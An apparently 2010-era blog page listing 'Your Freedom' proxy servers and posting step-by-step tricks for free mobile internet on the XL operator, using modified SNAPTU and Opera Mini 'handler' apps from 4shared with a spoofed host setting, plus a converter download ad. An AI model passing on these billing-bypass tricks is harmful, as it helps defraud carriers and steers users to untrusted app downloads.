NOTE: when you save the remaining files dont forget to save with underscore sign (_) in the front on the file without the TM item number (e.g. 7045) if it is html save it as "_main.html" and same with the image save it as "_works1.jpg" save them where you save the FLA and SWF files. Continue browsing the file inside Flash application so you can track the remaining files... do the same until you finish downloading all the remaining the files.

Your Freedom's server

2010-10-28T15:41:00.000+07:00

Your Freedom's server. This server can make free on your internet connection

Your Freedom's server
ems01. your freedom. de 67.159.5.116 US
ems02. your freedom. de 193.164.133.61 DE
ems03. your freedom. de 87.98.241.26 FR
ems04. your freedom. de 91.121.13.62 FR
ems05. your freedom. de 91.121.13.63 FR
ems06. your freedom. de 81.169.130.185 DE
ems07. your freedom. de 85.214.22.104 DE
ems08. your freedom. de 91.121.2.175 FR
ems09. your freedom. de 85.214.73.35 DE
ems10. your freedom. de 85.214.45.170 DE
ems11. your freedom. de 87.98.217.227 FR
ems12. your freedom. de 87.98.243.6 FR
ems13. your freedom. de 66.90.104.142 US
ems14. your freedom. de 87.98.128.61 FR
ems14. your freedom. de 91.121.9.81 FR
ems15. your freedom. de 193.37.152.232 DE
ems16. your freedom. de 67.159.5.52 US
ems17. your freedom. de 91.121.1.185 CA
ems18. your freedom. de 85.214.116.165 DE
ems19. your freedom. de 77.92.68.5 UK
ems20. your freedom. de 67.212.67.75 CA
ems21. your freedom. de 202.64.77.112 HK
ems22. your freedom. de 202.64.77.113 HK
ems23. your freedom. de 62.193.231.70 FR
ems24. your freedom. de 91.121.94.101 FR

try one by one, sometime available faster server because of few person which use that server

Easy Get Information, Login On facebook, and Other On Mobile Phone Using SNAPTU

2010-10-21T13:53:00.000+07:00

Hi Friends….

You need to get information about hot news, weather, RSS Reader, eBay, Facebook, etc on your mobile phone?. Now, you can do it all, use SNAPTU mobile applications. On SNAPTU you can read about Hot News, login on your Facebook, Twitter, get information about new Game, Hot Movies, New Movies, and many again.

And Now, SNAPTU have kind SNAPTU Handler. Snaptu Handler enable you to make free connections to internet. Here, I will make you know why get free internet connection on SNAPTU. I have try this using Mobile Phone Sony Erricsson K610i, and using XL Operator provider. Okay, gone in the instruction below!

1. You must have SNAPTU Handler before. Where you can get? Don’t worry, it’s very easy. You can get it from http://www.4shared.com

2. If you have downloaded, please install on your mobile phone.

3. Next, Run SNAPTU

4. Before you connect SNAPTU to internet, please fill in HOST with “mini5.opera-mini.net:80” (not use “ ), and then click OK.

Yeah.. that is some trick to get free connection on SNAPTU.I hope all to the good.

Wait Tricks Next From me….

If you have other tricks, please send to my mail. rizalimajid@yahoo.co.id

Thaks you...

Using OPERA MINI Handler to Get Free Internet Connection

2010-10-20T12:24:00.003+07:00

OPERAMINI'S technological progress makes we are easier deep get Internet via handphone. Evenless is now operamini handler's attending, one that gets to make browsing we becomes free. one of it with proxy. herein I will word how to that Internet via handphone can no charge. I do attempt utilize XL Operator.
Okay.. gone in for its steps:
1. Download operamini Handler. you can get through website http://www. 4shared. com.
2. Install Operamini
3. Run, then you are asked for to fill in for example Front Query, Midlet Query, etc..
4. To be able to makes our browsing free, you adequately fill in on HOST, which is code "mini5. mini opera. net:80" (don't put on sign")
5. setting proxy with HTTP, not Host
6. Go-ahead by presses yes's switch.
7. Sit out until finish installation.

Okay.. This is trick from me. if you still have at a loss or available other question, please to fill in your comment.

AutoDWG DWG to PDF Converter 2.11.15

2009-05-25T09:27:00.002+07:00

Software Converter From AutoCAD to PDF file. Easy convert DWG file to PDF file. Download Now